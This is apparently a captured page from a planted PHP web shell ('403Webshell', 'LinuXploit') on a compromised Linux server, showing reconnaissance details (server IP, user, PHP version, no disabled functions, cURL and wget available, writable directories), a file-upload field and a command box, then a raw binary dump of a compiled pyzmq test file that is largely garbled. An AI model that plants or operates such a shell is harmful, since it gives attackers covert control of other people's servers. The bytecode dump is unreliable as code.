403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zmq/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zmq/tests/__pycache__/test_poll.cpython-311.pyc
�

mc�c����ddlZddlZddlZddlmZddlZddlmZmZm	Z	d�Z
Gd�de��ZGd�de��Ze	rddl
Z
dd	lmZGd
�dee��ZdSdS)�N)�mark)�	GreenTest�PollZMQTestCase�have_geventc�.�tjd��dS)N��?)�time�sleep���5/usr/lib/python3/dist-packages/zmq/tests/test_poll.py�waitrs���J�t�����rc���eZdZejZd�Zd�Zd�Zd�Ze	j
ej�
d��d���d���Ze	jd	�
��d���ZdS)
�TestPollc��|�tjtj��\}}t��|���}|�|tjtjz��|�|tjtjz��t|�	����}||tjksJ�||tjksJ�|�
d��|�
d��t��t|�	����}||tjtjzksJ�||tjtjzksJ�|���|���t|�	����}||tjksJ�||tjksJ�|�|��|�|��dS)N�msg1�msg2)
�create_bound_pair�zmq�PAIRr�Poller�register�POLLIN�POLLOUT�dict�poll�send�recv�
unregister��self�s1�s2�poller�sockss     r
�	test_pairzTestPoll.test_pairs����'�'���#�(�;�;���B�	
��������������C�J���4�5�5�5�����C�J���4�5�5�5��V�[�[�]�]�#�#���R�y�C�K�'�'�'�'��R�y�C�K�'�'�'�'�
�������
������������V�[�[�]�]�#�#���R�y�C�K�#�*�4�4�4�4�4��R�y�C�K�#�*�4�4�4�4�4�
���	�	�	�
���	�	�	��V�[�[�]�]�#�#���R�y�C�K�'�'�'�'��R�y�C�K�'�'�'�'����"�������"�����rc��|�tjtj��\}}t	��|���}|�|tjtjz��|�|tjtjz��t|�
����}||vsJ�||tjksJ�|�d��t|�
����}||vsJ�tj
d��t|�
����}||tjksJ�|���t|�
����}||tjksJ�|�d��t|�
����}||vsJ�tj
d��t|�
����}||tjksJ�|���t|�
����}||tjksJ�|�|��|�|��dS)Nr��?r)rr�REP�REQrrrrrrrrr	r
rrr s     r
�test_reqrepzTestPoll.test_reqrep5s2���'�'�����9�9���B�	
��������������C�J���4�5�5�5�����C�J���4�5�5�5��V�[�[�]�]�#�#���������R�y�C�K�'�'�'�'�	��������V�[�[�]�]�#�#��������	
�
�3�����V�[�[�]�]�#�#���R�y�C�J�&�&�&�&�	���	�	�	��V�[�[�]�]�#�#���R�y�C�K�'�'�'�'�	��������V�[�[�]�]�#�#��������	
�
�3�����V�[�[�]�]�#�#���R�y�C�J�&�&�&�&�	���	�	�	��V�[�[�]�]�#�#���R�y�C�K�'�'�'�'����"�������"�����rc�^�|�tjtj��\}}|���}|�|tjtjz��|�|d��||vsJ�||vsJ�|�|d��||vsJ�dS)Nr)rrrrrrr)r!r"r#r$s    r
�test_no_eventszTestPoll.test_no_eventses����'�'���#�(�;�;���B�����������C�J���4�5�5�5�����A�����V�|�|�|�|�����������A�����������rc���|�tjtj��\}}|�tjd��t
��|���}|�|tj	tj
z��|�|tj	��t|�����}||tj
ksJ�||vsJ�|�
d��t|�����}||tj
ksJ�t
��t|�����}||tj	ksJ�|���t|�����}||vsJ�|�|��|�|��dS)Nrr)rr�PUB�SUB�
setsockopt�	SUBSCRIBErrrrrrrrrrr s     r
�test_pubsubzTestPoll.test_pubsubos����'�'�����9�9���B�
�
�
�c�m�S�)�)�)�	
��������������C�J���4�5�5�5�����C�J�'�'�'��V�[�[�]�]�#�#���R�y�C�K�'�'�'�'�������
��������V�[�[�]�]�#�#���R�y�C�K�'�'�'�'�	
�����V�[�[�]�]�#�#���R�y�C�J�&�&�&�&�	���	�	�	��V�[�[�]�]�#�#�����������"�������"�����r�win�Windows)�reasonc�t�tj��\}}tj|d��}tj|d��}|���}|�|t
j��t|�d����}|iksJ�|�	d��|�
��t|�d����}||���t
jiksJ�|���|���dS)N�rb�wb��x)
�os�pipe�fdopenrrrrrr�write�flush�fileno�close)r!�r�w�pr%s     r
�test_rawzTestPoll.test_raw�s����w�y�y���1��I�a������I�a������K�K�M�M��	�
�
�1�c�j�!�!�!��Q�V�V�A�Y�Y������{�{�{�{�	����
�
�
�	���	�	�	��Q�V�V�A�Y�Y����������S�Z�0�0�0�0�0�	���	�	�	�	���	�	�	�	�	r���rerunsc��|�tjtj��\}}|���}|�|tj��t
j��}|�d��t
j��}||z
dkt
j��}|�d��t
j��}||z
dksJ�||z
dksJ�t
j��}|�d��t
j��}||z
dksJ�||z
dksJ�dS)	zAmake sure Poller.poll timeout has the right units (milliseconds).�{�G�zt?r(�2g{�G�z�?i�r:皙�����?N)	rrrrrrr	�perf_counterr)r!r"r#r$�tic�tocs      r
�test_timeoutzTestPoll.test_timeout�s$���'�'���#�(�;�;���B�����������C�J�'�'�'���!�!�����E������!�!���c�	�C�����!�!�����B������!�!���S�y�3������S�y�4�������!�!�����C������!�!���S�y�1�}�}�}�}��S�y�3������rN)�__name__�
__module__�__qualname__rrr&r+r-r3r�skipif�sys�platform�
startswithrF�flakyrQrrr
rrs�������
�Z�F����>.�.�.�` � � ����B�T�[���(�(��/�/�	�B�B�B�
�
�C�B�
��T�Z�q����������rrc�H�eZdZd�Zejd���d���ZdS)�
TestSelectc���|�tjtj��\}}t��tj||g||g||g��\}}}||vsJ�||vsJ�||vsJ�||vsJ�dS)N)rrrr�select)r!r"r#�rlist�wlist�xlists      r
r&zTestSelect.test_pair�s����'�'���#�(�;�;���B�	
����!�j�"�b��B��8�b�"�X�F�F���u�e��U�{�{�{�{��U�{�{�{�{��������������rrGrHc���|�tjtj��\}}tj��}tj||gggd��\}}}tj��}||z
dksJ�||z
dksJ�tj��}tj||gggd��\}}}tj��}||z
dksJ�||z
dksJ�dS)z7make sure select timeout has the right units (seconds).rKr:g����MbP?rrMN)rrrr	rNr])r!r"r#rOrCrD�xrPs        r
rQzTestSelect.test_timeout�s����'�'���#�(�;�;���B���!�!���*�b�"�X�r�2�u�5�5���1�a���!�!���S�y�1�}�}�}�}��S�y�5� � � � ���!�!���*�b�"�X�r�2�t�4�4���1�a���!�!���S�y�1�}�}�}�}��S�y�3������rN)rRrSrTr&rrYrQrrr
r[r[�sN������
�
�
��T�Z�q����������rr[)�greenc�(�eZdZejZd�Zd�ZdS)�
TestPollGreenc����|�tjtj��\�}|������|tj��t
j��}tj	�fd���}tj	�fd���}|�
��t
j��}||z
dksJ�dS)Nc�.����d��S�Ni'�r)r$s�r
�<lambda>z+TestPollGreen.test_wakeup.<locals>.<lambda>�s���V�[�[��%7�%7�rc�.����d��S�Nr�r�r"s�r
rjz+TestPollGreen.test_wakeup.<locals>.<lambda>�����R�W�W�W�%5�%5�rr:)rrrrrrr	rN�gevent�spawn�join)r!r#rOrC�srPr$r"s      @@r
�test_wakeupzTestPollGreen.test_wakeup�s������+�+�C�H�c�h�?�?�F�B���[�[�]�]�F��O�O�B��
�+�+�+��#�%�%�C���7�7�7�7�8�8�A���5�5�5�5�6�6�A�
�F�F�H�H�H��#�%�%�C���9�q�=�=�=�=�=�=rc�J���|�tjtj��\��tj��}tj�fd���}tj�fd���}|���tj��}||z
dksJ�dS)Nc�.����d��Srhri)r#s�r
rjz0TestPollGreen.test_socket_poll.<locals>.<lambda>�s���R�W�W�U�^�^�rc�.����d��Srlrmrns�r
rjz0TestPollGreen.test_socket_poll.<locals>.<lambda>�rorr:)rrrr	rNrprqrr)r!rOrCrsrPr"r#s     @@r
�test_socket_pollzTestPollGreen.test_socket_poll�s������+�+�C�H�c�h�?�?�F�B���#�%�%�C���3�3�3�3�4�4�A���5�5�5�5�6�6�A�
�F�F�H�H�H��#�%�%�C���9�q�=�=�=�=�=�=rN)rRrSrT�gzmqrrtrxrrr
rere�s9���������
	!�
	!�
	!�	!�	!�	!�	!�	!rre)r<rVr	�pytestrr�	zmq.testsrrrrrr[rprcryrerrr
�<module>r|s,��
�	�	�	�
�
�
�
�����������
�
�
�
�=�=�=�=�=�=�=�=�=�=����a�a�a�a�a��a�a�a�H���������:�!��M�M�M�!�!�!�!�!�!�!�!�!�!�!�	�8�!�!�!�!�!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit